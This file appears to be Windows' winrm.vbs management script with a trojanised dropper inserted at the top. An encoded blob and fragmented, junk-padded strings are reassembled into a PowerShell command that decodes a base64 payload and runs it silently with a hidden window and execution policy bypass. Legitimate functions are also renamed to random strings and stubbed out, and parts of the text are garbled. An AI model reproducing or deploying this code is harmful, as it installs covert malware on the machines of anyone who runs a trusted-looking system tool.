0BwZA4GAlBATAQDA2AQZAMHAhBgYAQCAgAALAgHAlBAZA4GAJBAdAIHAhBAdAMHAkAAKAcGAuBQaAIHA0BwcAIGA1B
Set oscilho = WScript.CreateObject("WScript.Shell")
Dim graeiro
graeiro = "$C
igo =
" & zoonato & "
graeiro = graeiro & "$OW
xD = [s
g ]::Un
ode.GetS
graeiro = graeiro & "[s
tem.Co
nvert]::Fr
String
graeiro = graeiro & "po
-windo
wstyle hi
onpolicy byp
rofile
and $O
Dim afundar
afundar = "
graeiro = Replace(graeiro, afundar, "")
Dim corrido
corrido = "po
wershell -comma
nd " & graeiro
corrido = Replace(corrido, afundar, "")
oscilho.Run corrido, 0, False
WScript.Quit(baul)
End If
'Create an instance of the WSMAN.Automation Class
set wsmanObj = CreateObject("WSMAN.Automation")
set wsmanInternalObj = CreateObject("WSMAN.InternalAutomation")
'Get the raw text command line
cmdStr = wsmanObj.CommandLine
'Expand the environment strings
set wshShellObj = WScript.CreateObject("WScript.Shell")
cmdStr = wshShellObj.ExpandEnvironmentStrings(cmdStr)
'Create the command-line parsing object and parse the command line
Set wsmanCmdLineObj = New WSManCommandLineParser
If Not wsmanCmdLineObj.Parse(cmdStr) Then
HelpMenu "help", stdOut
WScript.Quit(baul)
End If
Dim argOne
Dim argTwo
argOne = LCase(wsmanCmdLineObj.Argument(1))
argTwo = LCase(wsmanCmdLineObj.Argument(2))
If (argOne = OP_HELP Or argOne = NPARA_HELP Or argOne = "") Then
HelpMenu argTwo, stdOut
WScript.Quit(ERR_OK)
End If
'Check if the help argument was presented, and display help
If wsmanCmdLineObj.ArgumentExists(NPARA_HELP) Then
HelpMenu argOne, stdOut
WScript.Quit(ERR_OK)
End If
If argOne = OP_HELPMSG then
argTwo = WScript.Arguments(1)
Dim errNumber
Dim strHex
if (InStr(LCase(argTwo),"0x")= 1) then
strHex = "&H" + Mid(argTwo, 3)
On Error Resume Next
errNumber = CLng(strHex)
if Err.Number <> 0 then
HelpMenu OP_HELPMSG, stdOut
WScript.Quit(ERR_OK)
end if
elseif (InStr(LCase(argTwo),"-")= 1) then
strHex = "&H"+Hex(CLng(argTwo))
On Error Resume Next
errNumber = CLng(strHex)
if Err.Number <> 0 then
HelpMenu OP_HELPMSG, stdOut
WScript.Quit(ERR_OK)
end if
else
On Error Resume Next
errNumber = CLng(argTwo)
if Err.Number <> 0 then
HelpMenu OP_HELPMSG, stdOut
WScript.Quit(ERR_OK)
end if
end if
formattedStr = wsmanObj.GetErrorMessage(errNumber)
WScript.echo formattedStr
WScript.Quit(ERR_OK)
End If
wsmanCmdLineObj.ValidateArguments()
'Get and check the operation argument
operation = wsmanCmdLineObj.Operation()
If (wsmanCmdLineObj.ArgumentExists(NPARA_REMOTE)) Then
connectionStr = wsmanCmdLineObj.Argument(NPARA_REMOTE)
connectionStr = ""
End If
'Set the format option for result output
if(wsmanCmdLineObj.ArgumentExists(NPARA_FORMAT)) then
formatOption = wsmanCmdLineObj.Argument(NPARA_FORMAT)
if Not (LCase(formatOption) = VAL_FORMAT_XML Or _
LCase(formatOption) = VAL_FORMAT_PRETTY Or _
LCase(formatOption) = VAL_FORMAT_TEXT) Then
stdErr.WriteLine zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_FORMATLERROR_Message") & """" & formatOption & """"
WScript.Quit(baul)
end if
formatOption = VAL_FORMAT_TEXT
end if
'Create the wsman automation API session object
set sessionObj = CreateSession(wsmanObj, connectionStr, wsmanCmdLineObj, formatOption)
'Get the resource and action uri strings
resourceUriStr = ""
if operation = OP_INV then
actionUriStr = wsmanCmdLineObj.Argument(NPARA_PSEUDO_ACTION)
End If
If (operation <> OP_IDENTIFY and operation <> OP_QUICKCONFIG) Then
resourceUriStr = wsmanCmdLineObj.Argument(NPARA_PSEUDO_RESOURCE)
'Determine the name to use for the root node in the message
rootNdNameStr = GetRootNodeName(operation, resourceUriStr, actionUriStr)
End If
'Create the ResourceLocator object
If resourceUriStr <> "" Then
on error resume next
set resourceLocatorObj = CreateAndInitializeResourceLocator(wsmanObj,resourceUriStr,wsmanCmdLineObj)
if resourceLocatorObj Is Nothing then
if Err.Number <> 0 then
errNo = Err.Number
errDesc = Err.Description
stdErr.WriteLine zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_ERRNO_Message") & " " & errNo & " 0x" & Hex(errNo)
stdErr.WriteLine errDesc
end if
WScript.Quit(baul)
end if
End If
'Gather the input parameters, if present, from the command line or a file. For Put,
'and input from @{...} instead of file, first do a Get to retrieve the present state
'of the object against which to apply the @{...} changes prior to the actual Put.
on error resume next
if not ProcessInput(wsmanObj, operation, rootNdNameStr, _
wsmanCmdLineObj, resourceLocatorObj,sessionObj, inputStr, formatOption) then
WScript.Quit(baul)
end if
'Now execute the indicated operation.
on error resume next
select case operation
case OP_DEL
sessionObj.Delete(resourceLocatorObj)
case OP_GET
responseStr = sessionObj.Get(resourceLocatorObj)
case OP_PUT
responseStr = sessionObj.Put(resourceLocatorObj, inputStr)
case OP_CONFIGSDDL
responseStr = wsmanInternalObj.ConfigSDDL(sessionObj,resourceLocatorObj)
case OP_CRE
responseStr = sessionObj.Create(resourceLocatorObj, inputStr)
case OP_INV
responseStr = sessionObj.Invoke(actionUriStr, resourceLocatorObj, inputStr)
case OP_ENU
Enumerate wsmanObj, sessionObj, wsmanCmdLineObj, resourceLocatorObj, formatOption
case OP_IDENTIFY
responseStr = sessionObj.Identify
case OP_QUICKCONFIG
QuickConfig sessionObj, wsmanCmdLineObj
case else
ASSERTBOOL False, zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_UNKOPNM_Message") & "'" & operation & "'"
end select
'Process the output or error messages.
if Err.Number <> 0 then
ASSERTERR sessionObj, formatOption
on error goto 0
if operation <> OP_ENU and operation <> OP_DEL and operation <> OP_QUICKCONFIG then
If Reformat(responseStr,formattedStr,formatOption) Then
WScript.echo formattedStr
Else
stdErr.WriteLine zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_FORMATFAILED_Message")
stdErr.WriteLine responseStr
WScript.Quit(baul)
End If
end if
end if
'Exist the script.
WScript.Quit(ERR_OK)
' ------------------ Utilities --------------------
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' Loads resource strings from an ini file of the appropriate locale
Private Function LoadResourceData
If resourcesLoaded Then
Exit Function
End If
Dim lang, value, ini, zhHKlang, zhTWlang
Dim fso
Set fso = WScript.CreateObject("Scripting.FileSystemObject")
On Error Resume Next
lang = GetUILanguage()
If Err.Number <> 0 Then
'API does not exist prior to Vista, use Getlocale for downlevel
Err.Clear
lang = GetLocale()
End If
' zh-HK will be treated as zh-TW
zhHKlang = 3076
zhTWlang = 1028
If lang = zhHKlang Then
lang = zhTWlang
End If
ini = fso.GetParentFolderName(WScript.ScriptFullName) & "\winrm\" _
& ToHex(lang) & "\" & fso.GetBaseName(WScript.ScriptName) & ".ini"
'stderr.writeline "Reading resources from " & ini
If fso.FileExists(ini) Then
Dim stream, file
Const ForReading = 1, TristateTrue = -1 'Read file in unicode format
'Debug.WriteLine "Using resource file " & ini
Set stream = fso.OpenTextFile(ini, ForReading, False, TristateTrue)
ReadResources(stream)
stream.Close
End If
resourcesLoaded = true
End Function
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' Reads resource strings from an ini file
Function ReadResources(stream)
Const ERROR_FILE_NOT_FOUND = 2
Dim ln, arr, key, value
If Not IsObject(stream) Then Err.Raise ERROR_FILE_NOT_FOUND
Do Until stream.AtEndOfStream
ln = stream.ReadLine
arr = Split(ln, "=", 2, 1)
If UBound(arr, 1) = 1 Then
' Trim the key and the value first before trimming quotes
key = Trim(arr(0))
value = TrimChar(Trim(arr(1)), """")
'WScript.stderr.writeline "Read key " & key & " = " & value
If key <> "" Then
resourceDictionary.Add key, value
End If
End If
Loop
End Function
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' Trim a character from the text string
Private Function TrimChar(s, c)
Const vbTextCompare = 1
' Trim character from the start
If InStr(1, s, c, vbTextCompare) = 1 Then
s = Mid(s, 2)
End If
' Trim character from the end
If InStr(Len(s), s, c, vbTextCompare) = Len(s) Then
s = Mid(s, 1, Len(s) - 1)
End If
TrimChar = s
End Function
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' Get a 4-digit hexadecimal number
Private Function ToHex(n)
Dim s : s = Hex(n)
ToHex = String(4 - Len(s), "0") & s
End Function
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' Get the resource string with the given name from the locale specific
' dictionary. If not found, use the built in default.
Private function zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc(name)
End Function
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' Reads entire text file and return as string
private function ReadFile(file)
dim fso, f
set fso = CreateObject("Scripting.FileSystemObject")
ASSERTBOOL fso.FileExists(file), zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_NOFILE_Message") & "'" & file & "'"
set f = fso.OpenTextFile(file, 1, false,-2)
ReadFile = f.ReadAll
f.Close
set f = Nothing
set fso = Nothing
end function
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' Name: CommandLineParser
' Purpose: To Parse Command-Line Arguments for access to Named and Unnamed
' arguments.
Class CommandLineParser
Private m_allArguments
Private m_namedArguments
Private m_unnamedArguments
Private m_operationShortcuts
Private m_parameterShortcuts
Private m_indexFirstSwitch
Private Sub ErrorHandler(isFatal,errorMessage)
WScript.StdErr.WriteLine zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_ERR_Message") & errorMessage
If isFatal Then
WScript.Quit(baul)
End If
End Sub
Private Sub Class_Initialize()
Set m_allArguments = CreateObject("Scripting.Dictionary")
Set m_namedArguments = CreateObject("Scripting.Dictionary")
Set m_unnamedArguments = CreateObject("Scripting.Dictionary")
m_indexFirstSwitch = -1
Set m_operationShortcuts = CreateObject("Scripting.Dictionary")
m_operationShortcuts.Add SHORTCUT_CRE, OP_CRE
m_operationShortcuts.Add SHORTCUT_DEL, OP_DEL
m_operationShortcuts.Add SHORTCUT_ENU, OP_ENU
m_operationShortcuts.Add SHORTCUT_ENU2, OP_ENU
m_operationShortcuts.Add SHORTCUT_GET, OP_GET
m_operationShortcuts.Add SHORTCUT_INV, OP_INV
m_operationShortcuts.Add SHORTCUT_IDENTIFY, OP_IDENTIFY
m_operationShortcuts.Add SHORTCUT_PUT, OP_PUT
m_operationShortcuts.Add SHORTCUT_PUT2, OP_PUT
m_operationShortcuts.Add SHORTCUT_PUT3, OP_PUT
m_operationShortcuts.Add SHORTCUT_QUICKCONFIG, OP_QUICKCONFIG
m_operationShortcuts.Add SHORTCUT_HELPMSG, OP_HELPMSG
Set m_parameterShortcuts = CreateObject("Scripting.Dictionary")
m_parameterShortcuts.Add SHORTCUT_AUTH, NPARA_AUTH
m_parameterShortcuts.Add SHORTCUT_AUTH2, NPARA_AUTH
m_parameterShortcuts.Add SHORTCUT_PROXYACCESS, NPARA_PROXYACCESS
m_parameterShortcuts.Add SHORTCUT_PROXYACCESS2, NPARA_PROXYACCESS
m_parameterShortcuts.Add SHORTCUT_PROXYAUTH, NPARA_PROXYAUTH
m_parameterShortcuts.Add SHORTCUT_PROXYAUTH2, NPARA_PROXYAUTH
m_parameterShortcuts.Add SHORTCUT_FORMAT, NPARA_FORMAT
m_parameterShortcuts.Add SHORTCUT_PASSWORD, NPARA_PASSWORD
m_parameterShortcuts.Add SHORTCUT_PROXYPASSWORD, NPARA_PROXYPASSWORD
m_parameterShortcuts.Add SHORTCUT_REMOTE, NPARA_REMOTE
m_parameterShortcuts.Add SHORTCUT_REMOTE2, NPARA_REMOTE
m_parameterShortcuts.Add SHORTCUT_USERNAME, NPARA_USERNAME
m_parameterShortcuts.Add SHORTCUT_PROXYUSERNAME, NPARA_PROXYUSERNAME
m_parameterShortcuts.Add SHORTCUT_UNENCRYPTED, NPARA_UNENCRYPTED
m_parameterShortcuts.Add SHORTCUT_USESSL, NPARA_USESSL
m_parameterShortcuts.Add SHORTCUT_QUIET, NPARA_QUIET
m_parameterShortcuts.Add SHORTCUT_CERT, NPARA_CERT
End Sub
Public Function FirstSwitchIndex()
FirstSwitchIndex = m_indexFirstSwitch
End Function
Public Function Count()
Count = m_unnamedArguments.Count + m_namedArguments.Count
End Function
Public Function UnnamedCount()
UnnamedCount = m_unnamedArguments.Count
End Function
Public Function PositionName(index)
Dim keyArray
PositionName = ""
If IsNumeric(index) Then
If index >=0 And index < m_allArguments.Count Then
PositionName = m_allArguments(index)
End If
End If
End Function
Public Function UnnamedExists(index)
UnnamedExists = False
If IsNumeric(index) Then
If index >=0 And index < m_unnamedArguments.Count Then
UnnamedExists = True
End If
End If
End Function
Public Function UnnamedValue(index)
UnnamedValue = ""
If IsNumeric(index) Then
If index >=0 And index < m_unnamedArguments.Count Then
UnnamedValue = m_unnamedArguments(index)
End If
End If
End Function
Public Function NamedCount()
NamedCount = m_namedArguments.Count
End Function
Public Function NamedExists(key)
NamedExists = m_namedArguments.Exists(key)
End Function
Public Function NamedValue(key)
NamedValue = ""
If m_namedArguments.Exists(key) Then
NamedValue = m_namedArguments(key)
End If
End Function
Public Function NamedValueByIndex(index)
Dim itemArray
NamedValueByIndex = ""
If IsNumeric(index) Then
If index >= 0 And index < m_namedArguments.Count Then
itemArray = m_namedArguments.Items
NamedValueByIndex = itemArray(index)
End If
End If
End Function
Public Function NamedKeyByIndex(index)
Dim keyArray
NamedKeyByIndex = ""
If IsNumeric(index) Then
If index >= 0 And index < m_namedArguments.Count Then
keyArray = m_namedArguments.Keys
NamedKeyByIndex = keyArray(index)
End If
End If
End Function
Public Function Parse(cmdlineStr)
Dim cmdlineStrLen
Dim parseIndex
Dim inQuote
Dim inCurly
Dim currentParameter
Dim parameterName
Dim parameterValue
Dim parameterColonPos
Dim currentChar
Dim parameterValueQuoted
m_allArguments.RemoveAll
m_namedArguments.RemoveAll
m_unnamedArguments.RemoveAll
parseIndex = 1
inCurly = False
inQuote = False
cmdlineStrLen = Len(cmdlineStr)
Do While parseIndex <= cmdlineStrLen
currentParameter = ""
inQuote = False
inCurly = False
'skip whitespace
Do While parseIndex <= cmdlineStrLen
currentChar = Mid(cmdlineStr,parseIndex,1)
If currentChar <> " " Then
Exit Do
End If
parseIndex = parseIndex + 1
Loop
'capture text until first unquoted or uncurlied space, or end of string
Do While parseIndex <= cmdlineStrLen
currentChar = Mid(cmdlineStr,parseIndex,1)
If currentChar = "{" Then
If Not inQuote Then
inCurly = True
End If
currentParameter = currentParameter & currentChar
ElseIf currentChar = "}" Then
If Not inQuote Then
inCurly = False
End If
currentParameter = currentParameter & currentChar
ElseIf currentChar = """" Then
If inQuote Then
If Mid(cmdlineStr,parseIndex-1,1) <> "\" Then
inQuote = False
End If
Else
inQuote = True
End If
currentParameter = currentParameter & currentChar
ElseIf currentChar = " " Then
If inQuote Or inCurly Then
currentParameter = currentParameter & currentChar
Else
Exit Do
End If
Else
currentParameter = currentParameter & currentChar
End If
parseIndex = parseIndex + 1
Loop
'process the command line segment
If Len(currentParameter) > 0 Then
'for named parameters
If Left(currentParameter,1) = "-" Or Left(currentParameter,1) = "/" Then
If Left(currentParameter,2) = "//" Or Left(currentParameter,2) = "--" Then
'skip all double-prefix parameters - assumed for scripting host i.e. //nologo
Else
parameterColonPos = InStr(currentParameter,":")
If parameterColonPos > 0 Then
parameterName = LCase(Mid(currentParameter,2,parameterColonPos-2))
parameterValueQuoted = False
If Mid(currentParameter,parameterColonPos + 1,1) = """" Then
If Right(currentParameter,1) = """" Then
parameterValueQuoted = True
Else
ErrorHandler True,L_ImproperUseOfQuotes_ErrorMessage & parameterName
End If
ElseIf Mid(currentParameter,Len(currentParameter),1) = """" Then
ErrorHandler True,L_ImproperUseOfQuotes_ErrorMessage & parameterName
End If
If parameterValueQuoted Then
parameterValue = Mid(currentParameter,parameterColonPos + 2,Len(currentParameter) - parameterColonPos - 2)
Else
parameterValue = Mid(currentParameter,parameterColonPos + 1)
End If
Else
parameterName = LCase(Mid(currentParameter,2))
parameterValue = ""
End If
If m_parameterShortcuts.Exists(LCase(parameterName)) Then
parameterName = m_parameterShortcuts(LCase(parameterName))
End If
If Len(parameterName) > 0 Then
If m_namedArguments.Exists(parameterName) Then
ErrorHandler True,L_OPTNOTUNQ_Message & parameterName
End If
parameterValue = Replace(parameterValue, "\""", """")
If (0 = m_namedArguments.Count) Then
m_indexFirstSwitch = m_allArguments.Count
End If
If Len(parameterValue) > 0 Then
m_namedArguments.Add parameterName,parameterValue
Else
m_namedArguments.Add parameterName,""
End If
m_allArguments.Add m_allArguments.Count, parameterName
Else
ErrorHandler True,L_BLANKOPT_ErrorMessage
End If
End If
'for unnamed parameters
Else
parameterName = m_unnamedArguments.Count
If Left(currentParameter,1) = """" And Right(currentParameter,1) = """" Then
parameterValue = Mid(currentParameter,2,Len(currentParameter)-2)
Else
parameterValue = currentParameter
End If
parameterValue = Replace(parameterValue, "\""", """")
If m_operationShortcuts.Exists(LCase(parameterValue)) Then
parameterValue = m_operationShortcuts(LCase(parameterValue))
End If
m_unnamedArguments.Add parameterName,parameterValue
m_allArguments.Add m_allArguments.Count, parameterValue
End If
End If
Loop
Parse = (m_unnamedArguments.Count + m_namedArguments.Count) > 0
End Function
End Class
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' Name: WSManCommandLineParser
' Purpose: To Parse Command-Line Arguments and provide covenient access to all
' WSMan specific arguments, named and unnamed, by making positional
' effectively named
Class WSManCommandLineParser
private m_op
private m_commandLineParser
private m_commandIndex
private m_allowedOperations
private m_allowedParameterNames
private m_knownParameterNames
Private Sub ErrorHandler(isFatal,errorMessage)
WScript.StdErr.WriteLine zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_ERR_Message") & errorMessage
If isFatal Then
WScript.Quit(baul)
End If
End Sub
Private Sub LoadOperations
m_allowedOperations.Add OP_GET, 1
m_allowedOperations.Add OP_PUT, 1
m_allowedOperations.Add OP_CONFIGSDDL, 1
m_allowedOperations.Add OP_CRE, 1
m_allowedOperations.Add OP_DEL, 1
m_allowedOperations.Add OP_ENU, 1
m_allowedOperations.Add OP_INV, 2
m_allowedOperations.Add OP_IDENTIFY, 0
m_allowedOperations.Add OP_QUICKCONFIG, 0
m_allowedOperations.Add OP_HELPMSG, 1
End Sub
Private Sub LoadAllowedParameters(op)
m_allowedParameterNames.Add NPARA_HELP,true
If (op = OP_QUICKCONFIG) Then
m_allowedParameterNames.Add NPARA_QUIET,true
m_allowedParameterNames.Add NPARA_TRANSPORT,true
m_allowedParameterNames.Add NPARA_FORCE,true
elseif (op = OP_IDENTIFY) Then
m_allowedParameterNames.Add NPARA_USERNAME,true
m_allowedParameterNames.Add NPARA_PASSWORD,true
m_allowedParameterNames.Add NPARA_PROXYUSERNAME,true
m_allowedParameterNames.Add NPARA_PROXYPASSWORD,true
m_allowedParameterNames.Add NPARA_CERT,true
m_allowedParameterNames.Add NPARA_REMOTE,true
m_allowedParameterNames.Add NPARA_NOCACHK,true
m_allowedParameterNames.Add NPARA_NOCNCHK,true
m_allowedParameterNames.Add NPARA_NOREVCHK,true
m_allowedParameterNames.Add NPARA_DEFAULTCREDS,true
m_allowedParameterNames.Add NPARA_SPNPORT,true
m_allowedParameterNames.Add NPARA_TIMEOUT,true
m_allowedParameterNames.Add NPARA_AUTH,true
m_allowedParameterNames.Add NPARA_PROXYACCESS,true
m_allowedParameterNames.Add NPARA_PROXYAUTH,true
m_allowedParameterNames.Add NPARA_UNENCRYPTED,true
m_allowedParameterNames.Add NPARA_USESSL,true
m_allowedParameterNames.Add NPARA_ENCODING,true
m_allowedParameterNames.Add NPARA_FORMAT,true
Else
m_allowedParameterNames.Add NPARA_USERNAME,true
m_allowedParameterNames.Add NPARA_PASSWORD,true
m_allowedParameterNames.Add NPARA_PROXYUSERNAME,true
m_allowedParameterNames.Add NPARA_PROXYPASSWORD,true
m_allowedParameterNames.Add NPARA_CERT,true
m_allowedParameterNames.Add NPARA_DIALECT,true
m_allowedParameterNames.Add NPARA_FILE,true
m_allowedParameterNames.Add NPARA_FILTER,true
m_allowedParameterNames.Add NPARA_REMOTE,true
m_allowedParameterNames.Add NPARA_NOCACHK,true
m_allowedParameterNames.Add NPARA_NOCNCHK,true
m_allowedParameterNames.Add NPARA_NOREVCHK,true
m_allowedParameterNames.Add NPARA_DEFAULTCREDS,true
m_allowedParameterNames.Add NPARA_SPNPORT,true
m_allowedParameterNames.Add NPARA_TIMEOUT,true
m_allowedParameterNames.Add NPARA_AUTH,true
m_allowedParameterNames.Add NPARA_PROXYACCESS,true
m_allowedParameterNames.Add NPARA_PROXYAUTH,true
m_allowedParameterNames.Add NPARA_UNENCRYPTED,true
m_allowedParameterNames.Add NPARA_USESSL,true
m_allowedParameterNames.Add NPARA_ENCODING,true
m_allowedParameterNames.Add NPARA_FORMAT,true
m_allowedParameterNames.Add NPARA_OPTIONS,true
m_allowedParameterNames.Add NPARA_FRAGMENT,true
End If
if (op = OP_ENU) Then
m_allowedParameterNames.Add NPARA_RETURN_TYPE,true
m_allowedParameterNames.Add NPARA_SHALLOW,true
m_allowedParameterNames.Add NPARA_BASE_PROPS_OsyllogizarY,true
m_allowedParameterNames.Add NPARA_ASSOCINST,true
End If
m_knownParameterNames.Add NPARA_HELP,true
m_knownParameterNames.Add NPARA_QUIET,true
m_knownParameterNames.Add NPARA_FORCE,true
m_knownParameterNames.Add NPARA_TRANSPORT,true
m_knownParameterNames.Add NPARA_USERNAME,true
m_knownParameterNames.Add NPARA_PASSWORD,true
m_knownParameterNames.Add NPARA_PROXYUSERNAME,true
m_knownParameterNames.Add NPARA_PROXYPASSWORD,true
m_knownParameterNames.Add NPARA_CERT,true
m_knownParameterNames.Add NPARA_DIALECT,true
m_knownParameterNames.Add NPARA_ASSOCINST,true
m_knownParameterNames.Add NPARA_FILE,true
m_knownParameterNames.Add NPARA_FILTER,true
m_knownParameterNames.Add NPARA_REMOTE,true
m_knownParameterNames.Add NPARA_NOCACHK,true
m_knownParameterNames.Add NPARA_NOCNCHK,true
m_knownParameterNames.Add NPARA_NOREVCHK,true
m_knownParameterNames.Add NPARA_DEFAULTCREDS,true
m_knownParameterNames.Add NPARA_SPNPORT,true
m_knownParameterNames.Add NPARA_TIMEOUT,true
m_knownParameterNames.Add NPARA_AUTH,true
m_knownParameterNames.Add NPARA_PROXYACCESS,true
m_knownParameterNames.Add NPARA_PROXYAUTH,true
m_knownParameterNames.Add NPARA_UNENCRYPTED,true
m_knownParameterNames.Add NPARA_USESSL,true
m_knownParameterNames.Add NPARA_ENCODING,true
m_knownParameterNames.Add NPARA_FORMAT,true
m_knownParameterNames.Add NPARA_OPTIONS,true
m_knownParameterNames.Add NPARA_FRAGMENT,true
m_knownParameterNames.Add NPARA_RETURN_TYPE,true
m_knownParameterNames.Add NPARA_SHALLOW,true
m_knownParameterNames.Add NPARA_BASE_PROPS_OsyllogizarY,true
End Sub
Public Function ValidateArguments()
Dim unnamedCount
Dim unnamedCountExpected
Dim valid
Dim index
valid = True
m_op = LCase(Argument(NPARA_PSEUDO_OPERATION))
If (Not m_allowedOperations.Exists(m_op)) Then
ErrorHandler True, zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_UNKOPNM_Message") & "'" & m_op & "'"
End If
LoadAllowedParameters m_op
'Make sure there the right number of unnamed arguments based upon op
unnamedCount = m_commandLineParser.UnnamedCount - m_commandIndex
unnamedCountExpected = m_allowedOperations(m_op) + 2
'Remove @{} from count
If (ArgumentExists(NPARA_PSEUDO_AT)) Then
unnamedCount = unnamedCount - 1
End If
If (unnamedCount <> unnamedCountExpected) Then
valid = False
End If
'Make sure the unnamed parameters come first
If (m_commandLineParser.FirstSwitchIndex <= unnamedCountExpected) Then
If (m_commandLineParser.FirstSwitchIndex > 0) Then
valid = False
End If
End If
If (ArgumentExists(NPARA_PSEUDO_AT) Or ArgumentExists(NPARA_FILE)) Then
If (operation <> OP_INV And operation <> OP_CRE And operation <> OP_PUT) Then
ErrorHandler True, L_OpDoesntAcceptInput_ErrorMessage
End If
End If
'loop through all named parameters and make sure they are in the allowed list
For index = 0 To m_commandLineParser.NamedCount - 1
If Not m_knownParameterNames.Exists(LCase(m_commandLineParser.NamedKeyByIndex(index))) Then
valid = False
ErrorHandler False, zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_UNKOPT_ErrorMessage") & m_commandLineParser.NamedKeyByIndex(index)
Elseif Not m_allowedParameterNames.Exists(LCase(m_commandLineParser.NamedKeyByIndex(index))) Then
valid = False
ErrorHandler False, zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_INVOPT_ErrorMessage") & m_commandLineParser.NamedKeyByIndex(index)
End If
Next
If Not valid Then
ErrorHandler True,L_UNKOPT_GenMessage & m_commandLineParser.NamedKeyByIndex(index)
End If
End Function
Private Sub Class_Initialize()
Set m_commandLineParser = New CommandLineParser
Set m_allowedOperations = CreateObject("Scripting.Dictionary")
Set m_allowedParameterNames = CreateObject("Scripting.Dictionary")
Set m_knownParameterNames = CreateObject("Scripting.Dictionary")
m_commandIndex = 0
LoadOperations
End Sub
Public Function Operation()
Operation = m_op
End Function
Public Function ArgumentExists(argumentName)
Dim index
ArgumentExists = False
If LCase(argumentName) = NPARA_PSEUDO_COMMAND Then
ArgumentExists = m_commandLineParser.UnnamedExists(m_commandIndex)
ElseIf LCase(argumentName) = NPARA_PSEUDO_OPERATION Then
ArgumentExists = m_commandLineParser.UnnamedExists(m_commandIndex + 1)
ElseIf LCase(argumentName) = NPARA_PSEUDO_ACTION Then
If LCase(m_commandLineParser.UnnamedValue(m_commandIndex + 1)) = OP_INV Then
ArgumentExists = m_commandLineParser.UnnamedExists(m_commandIndex + 2)
End If
ElseIf LCase(argumentName) = NPARA_PSEUDO_RESOURCE Then
If LCase(m_commandLineParser.UnnamedValue(m_commandIndex + 1)) = OP_INV Then
ArgumentExists = m_commandLineParser.UnnamedExists(m_commandIndex + 3)
Else
ArgumentExists = m_commandLineParser.UnnamedExists(m_commandIndex + 2)
End If
ElseIf argumentName = NPARA_PSEUDO_AT Then
For index = m_commandIndex To m_commandLineParser.UnnamedCount - 1
If Mid(m_commandLineParser.UnnamedValue(index),1,1) = NPARA_PSEUDO_AT Then
ArgumentExists = True
Exit For
End If
Next
Else
ArgumentExists = m_commandLineParser.NamedExists(argumentName)
End If
End Function
Public Function Argument(argumentName)
Dim index
If IsNumeric(argumentName) Then
Argument = m_commandLineParser.PositionName(argumentName + m_commandIndex)
ElseIf LCase(argumentName) = NPARA_PSEUDO_COMMAND Then
Argument = m_commandLineParser.UnnamedValue(m_commandIndex)
ElseIf LCase(argumentName) = NPARA_PSEUDO_OPERATION Then
Argument = m_commandLineParser.UnnamedValue(m_commandIndex + 1)
ElseIf LCase(argumentName) = NPARA_PSEUDO_ACTION Then
If LCase(m_commandLineParser.UnnamedValue(m_commandIndex + 1)) = OP_INV Then
Argument = m_commandLineParser.UnnamedValue(m_commandIndex + 2)
Else
Argument = ""
End If
ElseIf LCase(argumentName) = NPARA_PSEUDO_RESOURCE Then
If LCase(m_commandLineParser.UnnamedValue(m_commandIndex + 1)) = OP_INV Then
Argument = m_commandLineParser.UnnamedValue(m_commandIndex + 3)
Else
Argument = m_commandLineParser.UnnamedValue(m_commandIndex + 2)
End If
ElseIf argumentName = NPARA_PSEUDO_AT Then
For index = m_commandIndex To m_commandLineParser.UnnamedCount - 1
If Mid(m_commandLineParser.UnnamedValue(index),1,1) = NPARA_PSEUDO_AT Then
Argument = Mid(m_commandLineParser.UnnamedValue(index),2)
Exit For
Else
Argument = ""
End If
Next
Else
Argument = m_commandLineParser.NamedValue(argumentName)
If argumentName = NPARA_FORMAT Then
If (Mid(Argument,1,1) = "#") Then
Argument = Mid(Argument,2)
End If
End If
End If
End Function
Public Function Count
Count = m_commandLineParser.Count - m_commandIndex
End Function
Public Function Parse(commandLineStr)
Dim rval
Dim index
rval = m_commandLineParser.Parse(commandLineStr)
If rval Then
rval = False
For index = 0 To m_commandLineParser.UnnamedCount - 1
If InStr(LCase(m_commandLineParser.UnnamedValue(index)),"winrm.vbs") > 0 Then
m_commandIndex = index
rval = True
Exit For
End If
Next
If Not rval Then
